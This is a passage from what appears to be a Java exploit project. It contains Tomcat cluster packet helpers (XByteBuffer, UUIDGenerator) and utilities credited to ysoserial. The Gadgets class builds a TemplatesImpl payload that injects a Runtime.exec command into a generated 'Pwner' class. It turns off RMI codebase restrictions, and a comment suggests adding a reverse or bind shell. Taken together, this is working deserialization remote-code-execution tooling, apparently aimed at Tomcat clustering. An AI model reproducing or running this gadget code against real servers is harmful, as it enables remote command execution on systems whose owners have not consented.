| } 151 | 152 | @Override 153 | public String getContextName() { 154 | return mContextName; 155 | } 156 | 157 | @Override 158 | public String getUniqueId() { 159 | return uniqueId; 160 | } 161 | 162 | @Override 163 | public String toString() { 164 | return getEventTypeString() + "#" + getContextName() + "#" + getSessionID() ; 165 | } 166 | } 167 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/support/UUIDGenerator.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one or more 3 | * contributor license agreements. See the NOTICE file distributed with 4 | * this work for additional information regarding copyright ownership. 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 6 | * (the "License"); you may not use this file except in compliance with 7 | * the License. You may obtain a copy of the License at 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software 12 | * distributed under the License is distributed on an "AS IS" BASIS, 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | * See the License for the specific language governing permissions and 15 | * limitations under the License. 16 | */ 17 | package me.threedr3am.exp.support; 18 | 19 | import java.security.SecureRandom; 20 | import java.util.Random; 21 | 22 | /** 23 | * simple generation of a UUID 24 | * @version 1.0 25 | */ 26 | public class UUIDGenerator { 27 | 28 | public static final int UUID_LENGTH = 16; 29 | public static final int UUID_VERSION = 4; 30 | public static final int BYTES_PER_INT = 4; 31 | public static final int BITS_PER_BYTE = 8; 32 | 33 | protected static final SecureRandom secrand; 34 | protected static final Random rand = new Random(); 35 | 36 | static { 37 | long start = System.currentTimeMillis(); 38 | secrand = new SecureRandom(); 39 | // seed the generator 40 | secrand.nextInt(); 41 | long time = System.currentTimeMillis() - start; 42 | if (time > 100) { 43 | System.out.println(""); 44 | } 45 | } 46 | 47 | public static byte[] randomUUID(boolean secure) { 48 | byte[] result = new byte[UUID_LENGTH]; 49 | return randomUUID(secure,result,0); 50 | } 51 | 52 | public static byte[] randomUUID(boolean secure, byte[] into, int offset) { 53 | if ( (offset+UUID_LENGTH)>into.length ) 54 | throw new ArrayIndexOutOfBoundsException(""); 55 | Random r = (secure&&(secrand!=null))?secrand:rand; 56 | nextBytes(into,offset,UUID_LENGTH,r); 57 | into[6+offset] &= 0x0F; 58 | into[6+offset] |= (UUID_VERSION << 4); 59 | into[8+offset] &= 0x3F; //0011 1111 60 | into[8+offset] |= 0x80; //1000 0000 61 | return into; 62 | } 63 | 64 | /** 65 | * Same as java.util.Random.nextBytes except this one we dont have to allocate a new byte array 66 | * @param into byte[] 67 | * @param offset int 68 | * @param length int 69 | * @param r Random 70 | */ 71 | public static void nextBytes(byte[] into, int offset, int length, Random r) { 72 | int numRequested = length; 73 | int numGot = 0, rnd = 0; 74 | while (true) { 75 | for (int i = 0; i < BYTES_PER_INT; i++) { 76 | if (numGot == numRequested) return; 77 | rnd = (i == 0 ? r.nextInt() : rnd >> BITS_PER_BYTE); 78 | into[offset+numGot] = (byte) rnd; 79 | numGot++; 80 | } 81 | } 82 | } 83 | 84 | } 85 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/support/XByteBuffer.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one or more 3 | * contributor license agreements. See the NOTICE file distributed with 4 | * this work for additional information regarding copyright ownership. 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 6 | * (the "License"); you may not use this file except in compliance with 7 | * the License. You may obtain a copy of the License at 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software 12 | * distributed under the License is distributed on an "AS IS" BASIS, 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | * See the License for the specific language governing permissions and 15 | * limitations under the License. 16 | */ 17 | 18 | package me.threedr3am.exp.support; 19 | 20 | import java.io.ByteArrayOutputStream; 21 | import java.io.IOException; 22 | import java.io.ObjectOutputStream; 23 | import java.io.Serializable; 24 | import java.nio.ByteBuffer; 25 | import java.util.concurrent.atomic.AtomicInteger; 26 | 27 | /** 28 | * The XByteBuffer provides a dual functionality. 29 | * One, it stores message bytes and automatically extends the byte buffer if needed.
30 | * Two, it can encode and decode packages so that they can be defined and identified 31 | * as they come in on a socket. 32 | *
33 | * THIS CLASS IS NOT THREAD SAFE
34 | *
35 | * Transfer package: 36 | *
    37 | *
  • START_DATA- 7 bytes - FLT2002
  • 38 | *
  • SIZE - 4 bytes - size of the data package
  • 39 | *
  • DATA - should be as many bytes as the prev SIZE
  • 40 | *
  • END_DATA - 7 bytes - TLF2003
  • 41 | *
42 | */ 43 | public class XByteBuffer implements Serializable { 44 | 45 | private static final long serialVersionUID = 1L; 46 | 47 | /** 48 | * This is a package header, 7 bytes (FLT2002) 49 | */ 50 | private static final byte[] START_DATA = {70,76,84,50,48,48,50}; 51 | 52 | /** 53 | * This is the package footer, 7 bytes (TLF2003) 54 | */ 55 | private static final byte[] END_DATA = {84,76,70,50,48,48,51}; 56 | 57 | /** 58 | * Variable to hold the data 59 | */ 60 | protected byte[] buf = null; 61 | 62 | /** 63 | * Current length of data in the buffer 64 | */ 65 | protected int bufSize = 0; 66 | 67 | /** 68 | * Flag for discarding invalid packages 69 | * If this flag is set to true, and append(byte[],...) is called, 70 | * the data added will be inspected, and if it doesn't start with 71 | * START_DATA it will be thrown away. 72 | * 73 | */ 74 | protected boolean discard = true; 75 | 76 | /** 77 | * Constructs a new XByteBuffer.
78 | * TODO use a pool of byte[] for performance 79 | * @param size the initial size of the byte buffer 80 | * @param discard Flag for discarding invalid packages 81 | */ 82 | public XByteBuffer(int size, boolean discard) { 83 | buf = new byte[size]; 84 | this.discard = discard; 85 | } 86 | 87 | public XByteBuffer(byte[] data,boolean discard) { 88 | this(data,data.length+128,discard); 89 | } 90 | 91 | public XByteBuffer(byte[] data, int size,boolean discard) { 92 | int length = Math.max(data.length,size); 93 | buf = new byte[length]; 94 | System.arraycopy(data,0,buf,0,data.length); 95 | bufSize = data.length; 96 | this.discard = discard; 97 | } 98 | 99 | public int getLength() { 100 | return bufSize; 101 | } 102 | 103 | public void setLength(int size) { 104 | if ( size > buf.length ) throw new ArrayIndexOutOfBoundsException(); 105 | bufSize = size; 106 | } 107 | 108 | public void trim(int length) { 109 | if ( (bufSize - length) < 0 ) 110 | throw new ArrayIndexOutOfBoundsException(); 111 | bufSize -= length; 112 | } 113 | 114 | public void reset() { 115 | bufSize = 0; 116 | } 117 | 118 | public byte[] getBytesDirect() { 119 | return this.buf; 120 | } 121 | 122 | /** 123 | * @return the bytes in the buffer, in its exact length 124 | */ 125 | public byte[] getBytes() { 126 | byte[] b = new byte[bufSize]; 127 | System.arraycopy(buf,0,b,0,bufSize); 128 | return b; 129 | } 130 | 131 | /** 132 | * Resets the buffer 133 | */ 134 | public void clear() { 135 | bufSize = 0; 136 | } 137 | 138 | /** 139 | * Appends the data to the buffer. If the data is incorrectly formatted, ie, the data should always start with the 140 | * header, false will be returned and the data will be discarded. 141 | * @param b - bytes to be appended 142 | * @param len - the number of bytes to append. 143 | * @return true if the data was appended correctly. Returns false if the package is incorrect, ie missing header or something, or the length of data is 0 144 | */ 145 | public boolean append(ByteBuffer b, int len) { 146 | int newcount = bufSize + len; 147 | if (newcount > buf.length) { 148 | expand(newcount); 149 | } 150 | b.get(buf,bufSize,len); 151 | 152 | bufSize = newcount; 153 | 154 | if ( discard ) { 155 | if (bufSize > START_DATA.length && (firstIndexOf(buf, 0, START_DATA) == -1)) { 156 | bufSize = 0; 157 | System.out.println(""); 158 | return false; 159 | } 160 | } 161 | return true; 162 | 163 | } 164 | 165 | public boolean append(byte i) { 166 | int newcount = bufSize + 1; 167 | if (newcount > buf.length) { 168 | expand(newcount); 169 | } 170 | buf[bufSize] = i; 171 | bufSize = newcount; 172 | return true; 173 | } 174 | 175 | 176 | public boolean append(boolean i) { 177 | int newcount = bufSize + 1; 178 | if (newcount > buf.length) { 179 | expand(newcount); 180 | } 181 | XByteBuffer.toBytes(i,buf,bufSize); 182 | bufSize = newcount; 183 | return true; 184 | } 185 | 186 | public boolean append(long i) { 187 | int newcount = bufSize + 8; 188 | if (newcount > buf.length) { 189 | expand(newcount); 190 | } 191 | XByteBuffer.toBytes(i,buf,bufSize); 192 | bufSize = newcount; 193 | return true; 194 | } 195 | 196 | public boolean append(int i) { 197 | int newcount = bufSize + 4; 198 | if (newcount > buf.length) { 199 | expand(newcount); 200 | } 201 | XByteBuffer.toBytes(i,buf,bufSize); 202 | bufSize = newcount; 203 | return true; 204 | } 205 | 206 | public boolean append(byte[] b, int off, int len) { 207 | if ((off < 0) || (off > b.length) || (len < 0) || 208 | ((off + len) > b.length) || ((off + len) < 0)) { 209 | throw new IndexOutOfBoundsException(); 210 | } else if (len == 0) { 211 | return false; 212 | } 213 | 214 | int newcount = bufSize + len; 215 | if (newcount > buf.length) { 216 | expand(newcount); 217 | } 218 | System.arraycopy(b, off, buf, bufSize, len); 219 | bufSize = newcount; 220 | 221 | if ( discard ) { 222 | if (bufSize > START_DATA.length && (firstIndexOf(buf, 0, START_DATA) == -1)) { 223 | bufSize = 0; 224 | System.out.println(""); 225 | return false; 226 | } 227 | } 228 | return true; 229 | } 230 | 231 | public void expand(int newcount) { 232 | //don't change the allocation strategy 233 | byte newbuf[] = new byte[Math.max(buf.length << 1, newcount)]; 234 | System.arraycopy(buf, 0, newbuf, 0, bufSize); 235 | buf = newbuf; 236 | } 237 | 238 | public int getCapacity() { 239 | return buf.length; 240 | } 241 | 242 | 243 | /** 244 | * Internal mechanism to make a check if a complete package exists 245 | * within the buffer 246 | * @return - true if a complete package (header,compress,size,data,footer) exists within the buffer 247 | */ 248 | public int countPackages() { 249 | return countPackages(false); 250 | } 251 | 252 | public int countPackages(boolean first) 253 | { 254 | int cnt = 0; 255 | int pos = START_DATA.length; 256 | int start = 0; 257 | 258 | while ( start < bufSize ) { 259 | //first check start header 260 | int index = XByteBuffer.firstIndexOf(buf,start,START_DATA); 261 | //if the header (START_DATA) isn't the first thing or 262 | //the buffer isn't even 14 bytes 263 | if ( index != start || ((bufSize-start)<14) ) break; 264 | //next 4 bytes are compress flag not needed for count packages 265 | //then get the size 4 bytes 266 | int size = toInt(buf, pos); 267 | //now the total buffer has to be long enough to hold 268 | //START_DATA.length+4+size+END_DATA.length 269 | pos = start + START_DATA.length + 4 + size; 270 | if ( (pos + END_DATA.length) > bufSize) break; 271 | //and finally check the footer of the package END_DATA 272 | int newpos = firstIndexOf(buf, pos, END_DATA); 273 | //mismatch, there is no package 274 | if (newpos != pos) break; 275 | //increase the packet count 276 | cnt++; 277 | //reset the values 278 | start = pos + END_DATA.length; 279 | pos = start + START_DATA.length; 280 | //we only want to verify that we have at least one package 281 | if ( first ) break; 282 | } 283 | return cnt; 284 | } 285 | 286 | /** 287 | * Method to check if a package exists in this byte buffer. 288 | * @return - true if a complete package (header,options,size,data,footer) exists within the buffer 289 | */ 290 | public boolean doesPackageExist() { 291 | return (countPackages(true)>0); 292 | } 293 | 294 | 295 | /** 296 | * Creates a complete data package 297 | * @param cdata - the message data to be contained within the package 298 | * @return - a full package (header,size,data,footer) 299 | */ 300 | public static byte[] createDataPackage(ChannelData cdata) { 301 | // return createDataPackage(cdata.getDataPackage()); 302 | //avoid one extra byte array creation 303 | int dlength = cdata.getDataPackageLength(); 304 | int length = getDataPackageLength(dlength); 305 | byte[] data = new byte[length]; 306 | int offset = 0; 307 | System.arraycopy(START_DATA, 0, data, offset, START_DATA.length); 308 | offset += START_DATA.length; 309 | toBytes(dlength,data, START_DATA.length); 310 | offset += 4; 311 | cdata.getDataPackage(data,offset); 312 | offset += dlength; 313 | System.arraycopy(END_DATA, 0, data, offset, END_DATA.length); 314 | offset += END_DATA.length; 315 | return data; 316 | } 317 | 318 | public static byte[] createDataPackage(byte[] data, int doff, int dlength, byte[] buffer, int bufoff) { 319 | if ( (buffer.length-bufoff) > getDataPackageLength(dlength) ) { 320 | throw new ArrayIndexOutOfBoundsException(""); 321 | } 322 | System.arraycopy(START_DATA, 0, buffer, bufoff, START_DATA.length); 323 | toBytes(data.length,buffer, bufoff+START_DATA.length); 324 | System.arraycopy(data, doff, buffer, bufoff+START_DATA.length + 4, dlength); 325 | System.arraycopy(END_DATA, 0, buffer, bufoff+START_DATA.length + 4 + data.length, END_DATA.length); 326 | return buffer; 327 | } 328 | 329 | 330 | public static int getDataPackageLength(int datalength) { 331 | int length = 332 | START_DATA.length + //header length 333 | 4 + //data length indicator 334 | datalength + //actual data length 335 | END_DATA.length; //footer length 336 | return length; 337 | 338 | } 339 | 340 | public static byte[] createDataPackage(byte[] data) { 341 | int length = getDataPackageLength(data.length); 342 | byte[] result = new byte[length]; 343 | return createDataPackage(data,0,data.length,result,0); 344 | } 345 | 346 | 347 | // public static void fillDataPackage(byte[] data, int doff, int dlength, XByteBuffer buf) { 348 | // int pkglen = getDataPackageLength(dlength); 349 | // if ( buf.getCapacity() < pkglen ) buf.expand(pkglen); 350 | // createDataPackage(data,doff,dlength,buf.getBytesDirect(),buf.getLength()); 351 | // } 352 | 353 | /** 354 | * Convert four bytes to an int 355 | * @param b - the byte array containing the four bytes 356 | * @param off - the offset 357 | * @return the integer value constructed from the four bytes 358 | */ 359 | public static int toInt(byte[] b,int off){ 360 | return ( ( b[off+3]) & 0xFF) + 361 | ( ( ( b[off+2]) & 0xFF) << 8) + 362 | ( ( ( b[off+1]) & 0xFF) << 16) + 363 | ( ( ( b[off+0]) & 0xFF) << 24); 364 | } 365 | 366 | /** 367 | * Convert eight bytes to a long 368 | * @param b - the byte array containing the four bytes 369 | * @param off - the offset 370 | * @return the long value constructed from the eight bytes 371 | */ 372 | public static long toLong(byte[] b,int off){ 373 | return ( ( (long) b[off+7]) & 0xFF) + 374 | ( ( ( (long) b[off+6]) & 0xFF) << 8) + 375 | ( ( ( (long) b[off+5]) & 0xFF) << 16) + 376 | ( ( ( (long) b[off+4]) & 0xFF) << 24) + 377 | ( ( ( (long) b[off+3]) & 0xFF) << 32) + 378 | ( ( ( (long) b[off+2]) & 0xFF) << 40) + 379 | ( ( ( (long) b[off+1]) & 0xFF) << 48) + 380 | ( ( ( (long) b[off+0]) & 0xFF) << 56); 381 | } 382 | 383 | 384 | /** 385 | * Converts a boolean and put it in a byte array. 386 | * @param bool the integer 387 | * @param data the byte buffer in which the boolean will be placed 388 | * @param offset the offset in the byte array 389 | * @return the byte array 390 | */ 391 | public static byte[] toBytes(boolean bool, byte[] data, int offset) { 392 | data[offset] = (byte)(bool?1:0); 393 | return data; 394 | } 395 | 396 | /** 397 | * Converts a byte array entry to boolean. 398 | * @param b byte array 399 | * @param offset within byte array 400 | * @return true if byte array entry is non-zero, false otherwise 401 | */ 402 | public static boolean toBoolean(byte[] b, int offset) { 403 | return b[offset] != 0; 404 | } 405 | 406 | 407 | /** 408 | * Converts an integer to four bytes. 409 | * @param n the integer 410 | * @param b the byte buffer in which the integer will be placed 411 | * @param offset the offset in the byte array 412 | * @return four bytes in an array 413 | */ 414 | public static byte[] toBytes(int n, byte[] b, int offset) { 415 | b[offset+3] = (byte) (n); 416 | n >>>= 8; 417 | b[offset+2] = (byte) (n); 418 | n >>>= 8; 419 | b[offset+1] = (byte) (n); 420 | n >>>= 8; 421 | b[offset+0] = (byte) (n); 422 | return b; 423 | } 424 | 425 | /** 426 | * Converts a long to eight bytes. 427 | * @param n the long 428 | * @param b the byte buffer in which the integer will be placed 429 | * @param offset the offset in the byte array 430 | * @return eight bytes in an array 431 | */ 432 | public static byte[] toBytes(long n, byte[] b, int offset) { 433 | b[offset+7] = (byte) (n); 434 | n >>>= 8; 435 | b[offset+6] = (byte) (n); 436 | n >>>= 8; 437 | b[offset+5] = (byte) (n); 438 | n >>>= 8; 439 | b[offset+4] = (byte) (n); 440 | n >>>= 8; 441 | b[offset+3] = (byte) (n); 442 | n >>>= 8; 443 | b[offset+2] = (byte) (n); 444 | n >>>= 8; 445 | b[offset+1] = (byte) (n); 446 | n >>>= 8; 447 | b[offset+0] = (byte) (n); 448 | return b; 449 | } 450 | 451 | /** 452 | * Similar to a String.IndexOf, but uses pure bytes. 453 | * @param src - the source bytes to be searched 454 | * @param srcOff - offset on the source buffer 455 | * @param find - the string to be found within src 456 | * @return - the index of the first matching byte. -1 if the find array is not found 457 | */ 458 | public static int firstIndexOf(byte[] src, int srcOff, byte[] find){ 459 | int result = -1; 460 | if (find.length > src.length) return result; 461 | if (find.length == 0 || src.length == 0) return result; 462 | if (srcOff >= src.length ) throw new ArrayIndexOutOfBoundsException(); 463 | boolean found = false; 464 | int srclen = src.length; 465 | int findlen = find.length; 466 | byte first = find[0]; 467 | int pos = srcOff; 468 | while (!found) { 469 | //find the first byte 470 | while (pos < srclen){ 471 | if (first == src[pos]) 472 | break; 473 | pos++; 474 | } 475 | if (pos >= srclen) 476 | return -1; 477 | 478 | //we found the first character 479 | //match the rest of the bytes - they have to match 480 | if ( (srclen - pos) < findlen) 481 | return -1; 482 | //assume it does exist 483 | found = true; 484 | for (int i = 1; ( (i < findlen) && found); i++) { 485 | found = (find[i] == src[pos + i]); 486 | } 487 | if (found) { 488 | result = pos; 489 | } else if ( (srclen - pos) < findlen) { 490 | return -1; //no more matches possible 491 | } else { 492 | pos++; 493 | } 494 | } 495 | return result; 496 | } 497 | 498 | private static final AtomicInteger invokecount = new AtomicInteger(0); 499 | 500 | /** 501 | * Serializes a message into cluster data 502 | * @param msg ClusterMessage 503 | * @return serialized content as byte[] array 504 | * @throws IOException Serialization error 505 | */ 506 | public static byte[] serialize(Serializable msg) throws IOException { 507 | ByteArrayOutputStream outs = new ByteArrayOutputStream(); 508 | ObjectOutputStream out = new ObjectOutputStream(outs); 509 | out.writeObject(msg); 510 | out.flush(); 511 | byte[] data = outs.toByteArray(); 512 | return data; 513 | } 514 | 515 | public void setDiscard(boolean discard) { 516 | this.discard = discard; 517 | } 518 | 519 | public boolean getDiscard() { 520 | return discard; 521 | } 522 | 523 | } 524 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/utils/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package me.threedr3am.exp.utils; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | 7 | /** 8 | * code from ysoserial 9 | */ 10 | public class ClassFiles { 11 | 12 | public static String classAsFile(final Class clazz) { 13 | return classAsFile(clazz, true); 14 | } 15 | 16 | public static String classAsFile(final Class clazz, boolean suffix) { 17 | String str; 18 | if (clazz.getEnclosingClass() == null) { 19 | str = clazz.getName().replace(".", "/"); 20 | } else { 21 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 22 | } 23 | if (suffix) { 24 | str += ".class"; 25 | } 26 | return str; 27 | } 28 | 29 | public static byte[] classAsBytes(final Class clazz) { 30 | try { 31 | final byte[] buffer = new byte[1024]; 32 | final String file = classAsFile(clazz); 33 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 34 | if (in == null) { 35 | throw new IOException("couldn't find '" + file + "'"); 36 | } 37 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 38 | int len; 39 | while ((len = in.read(buffer)) != -1) { 40 | out.write(buffer, 0, len); 41 | } 42 | return out.toByteArray(); 43 | } catch (IOException e) { 44 | throw new RuntimeException(e); 45 | } 46 | } 47 | 48 | } 49 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/utils/Converter.java: -------------------------------------------------------------------------------- 1 | package me.threedr3am.exp.utils; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.DataOutputStream; 5 | import java.io.IOException; 6 | import java.io.ObjectOutputStream; 7 | 8 | /** 9 | * code from ysoserial 10 | */ 11 | public class Converter { 12 | public static byte[] toBytes(Object[] objs) throws IOException { 13 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 14 | DataOutputStream dos = new DataOutputStream(baos); 15 | for (Object obj : objs) { 16 | treatObject(dos, obj); 17 | } 18 | dos.close(); 19 | return baos.toByteArray(); 20 | } 21 | 22 | public static void treatObject(DataOutputStream dos, Object obj) 23 | throws IOException { 24 | if (obj instanceof Byte) { 25 | dos.writeByte((Byte) obj); 26 | } else if (obj instanceof Short) { 27 | dos.writeShort((Short) obj); 28 | } else if (obj instanceof Integer) { 29 | dos.writeInt((Integer) obj); 30 | } else if (obj instanceof Long) { 31 | dos.writeLong((Long) obj); 32 | } else if (obj instanceof String) { 33 | dos.writeUTF((String) obj); 34 | } else { 35 | ByteArrayOutputStream ba = new ByteArrayOutputStream(); 36 | ObjectOutputStream oos = new ObjectOutputStream(ba); 37 | oos.writeObject(obj); 38 | oos.close(); 39 | dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/utils/Gadgets.java: -------------------------------------------------------------------------------- 1 | package me.threedr3am.exp.utils; 2 | 3 | 4 | import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; 5 | 6 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 7 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 8 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 9 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 10 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 11 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 12 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 13 | import java.io.Serializable; 14 | import java.lang.reflect.Array; 15 | import java.lang.reflect.Constructor; 16 | import java.lang.reflect.InvocationHandler; 17 | import java.lang.reflect.InvocationTargetException; 18 | import java.lang.reflect.Proxy; 19 | import java.util.HashMap; 20 | import java.util.Map; 21 | import javassist.ClassClassPath; 22 | import javassist.ClassPool; 23 | import javassist.CtClass; 24 | 25 | 26 | /** 27 | * code from ysoserial 28 | */ 29 | /* 30 | * utility generator functions for common jdk-only gadgets 31 | */ 32 | @SuppressWarnings( { 33 | "restriction", "rawtypes", "unchecked" 34 | } ) 35 | public class Gadgets { 36 | 37 | static { 38 | // special case for using TemplatesImpl gadgets with a SecurityManager enabled 39 | System.setProperty(DESERIALIZE_TRANSLET, "true"); 40 | 41 | // for RMI remote loading 42 | System.setProperty("java.rmi.server.useCodebaseOnly", "false"); 43 | } 44 | 45 | public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; 46 | 47 | public static class StubTransletPayload extends AbstractTranslet implements Serializable { 48 | 49 | private static final long serialVersionUID = -5971610431559700674L; 50 | 51 | 52 | public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} 53 | 54 | 55 | @Override 56 | public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} 57 | } 58 | 59 | // required to make TemplatesImpl happy 60 | public static class Foo implements Serializable { 61 | 62 | private static final long serialVersionUID = 8207363842866235160L; 63 | } 64 | 65 | 66 | public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { 67 | return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); 68 | } 69 | 70 | 71 | public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { 72 | return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance( 73 | Override.class, map); 74 | } 75 | 76 | 77 | public static T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) { 78 | final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); 79 | allIfaces[ 0 ] = iface; 80 | if ( ifaces.length > 0 ) { 81 | System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); 82 | } 83 | return iface.cast(Proxy 84 | .newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); 85 | } 86 | 87 | 88 | public static Map createMap ( final String key, final Object val ) { 89 | final Map map = new HashMap(); 90 | map.put(key, val); 91 | return map; 92 | } 93 | 94 | 95 | 96 | 97 | public static Object createTemplatesImpl ( final String... command) throws Exception { 98 | return createTemplatesImpl(null, command); 99 | } 100 | 101 | public static Object createTemplatesImpl (final Class c, String... command) throws Exception { 102 | if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { 103 | return createTemplatesImpl(c, 104 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), 105 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), 106 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"), command); 107 | } 108 | 109 | return createTemplatesImpl(c, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, command); 110 | } 111 | 112 | 113 | public static T createTemplatesImpl (Class c, Class tplClass, Class abstTranslet, Class transFactory, String... command) 114 | throws Exception { 115 | final T templates = tplClass.newInstance(); 116 | final byte[] classBytes; 117 | if (c == null) { 118 | // use template gadget class 119 | ClassPool pool = ClassPool.getDefault(); 120 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); 121 | pool.insertClassPath(new ClassClassPath(abstTranslet)); 122 | final CtClass clazz = pool.get(StubTransletPayload.class.getName()); 123 | // run command in static initializer 124 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 125 | StringBuilder stringBuilder = new StringBuilder("new java.lang.String[] {"); 126 | for (int i = 0; i < command.length; i++) { 127 | stringBuilder.append("\""); 128 | stringBuilder.append(command[i].replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"")); 129 | stringBuilder.append("\""); 130 | if (i != command.length - 1) { 131 | stringBuilder.append(","); 132 | } 133 | } 134 | stringBuilder.append("}"); 135 | String cmd = String.format("java.lang.Runtime.getRuntime().exec(%s);", stringBuilder.toString()); 136 | // System.out.println(cmd); 137 | clazz.makeClassInitializer().insertAfter(cmd); 138 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) 139 | clazz.setName("ysoserial.Pwner" + System.nanoTime()); 140 | CtClass superC = pool.get(abstTranslet.getName()); 141 | clazz.setSuperclass(superC); 142 | classBytes = clazz.toBytecode(); 143 | } else { 144 | classBytes = ClassFiles.classAsBytes(c); 145 | } 146 | 147 | 148 | // inject class bytes into instance 149 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { 150 | classBytes, ClassFiles.classAsBytes(Foo.class) 151 | }); 152 | 153 | // required to make TemplatesImpl happy 154 | Reflections.setFieldValue(templates, "_name", "Pwnr"); 155 | Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); 156 | return templates; 157 | } 158 | 159 | public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, 160 | IllegalAccessException, InvocationTargetException { 161 | HashMap s = new HashMap(); 162 | Reflections.setFieldValue(s, "size", 2); 163 | Class nodeC; 164 | try { 165 | nodeC = Class.forName("java.util.HashMap$Node"); 166 | } 167 | catch ( ClassNotFoundException e ) { 168 | nodeC = Class.forName("java.util.HashMap$Entry"); 169 | } 170 | Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); 171 | Reflections.setAccessible(nodeCons); 172 | 173 | Object tbl = Array.newInstance(nodeC, 2); 174 | Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); 175 | Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); 176 | Reflections.setFieldValue(s, "table", tbl); 177 | return s; 178 | } 179 | } 180 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/utils/Reflections.java: -------------------------------------------------------------------------------- 1 | package me.threedr3am.exp.utils; 2 | 3 | import java.lang.reflect.AccessibleObject; 4 | import java.lang.reflect.Constructor; 5 | import java.lang.reflect.Field; 6 | import java.lang.reflect.InvocationTargetException; 7 | import sun.reflect.ReflectionFactory; 8 | 9 | /** 10 | * code from ysoserial 11 | */ 12 | @SuppressWarnings( "restriction" ) 13 | public class Reflections { 14 | 15 | public static void setAccessible(AccessibleObject member) { 16 | // quiet runtime warnings from JDK9+ 17 | member.setAccessible(true); 18 | } 19 | 20 | public static Field getField(final Class clazz, final String fieldName) { 21 | Field field = null; 22 | try { 23 | field = clazz.getDeclaredField(fieldName); 24 | setAccessible(field); 25 | } 26 | catch (NoSuchFieldException ex) { 27 | if (clazz.getSuperclass() != null) 28 | field = getField(clazz.getSuperclass(), fieldName); 29 | } 30 | return field; 31 | } 32 | 33 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 34 | final Field field = getField(obj.getClass(), fieldName); 35 | field.set(obj, value); 36 | } 37 | 38 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 39 | final Field field = getField(obj.getClass(), fieldName); 40 | return field.get(obj); 41 | } 42 | 43 | public static Constructor getFirstCtor(final String name) throws Exception { 44 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 45 | setAccessible(ctor); 46 | return ctor; 47 | } 48 | 49 | public static Object newInstance(String className, Object... args) throws Exception { 50 | return getFirstCtor(className).newInstance(args); 51 | } 52 | 53 | public static T createWithoutConstructor ( Class classToInstantiate ) 54 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 55 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 56 | } 57 | 58 | @SuppressWarnings( {"unchecked"} ) 59 | public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) 60 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 61 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 62 | 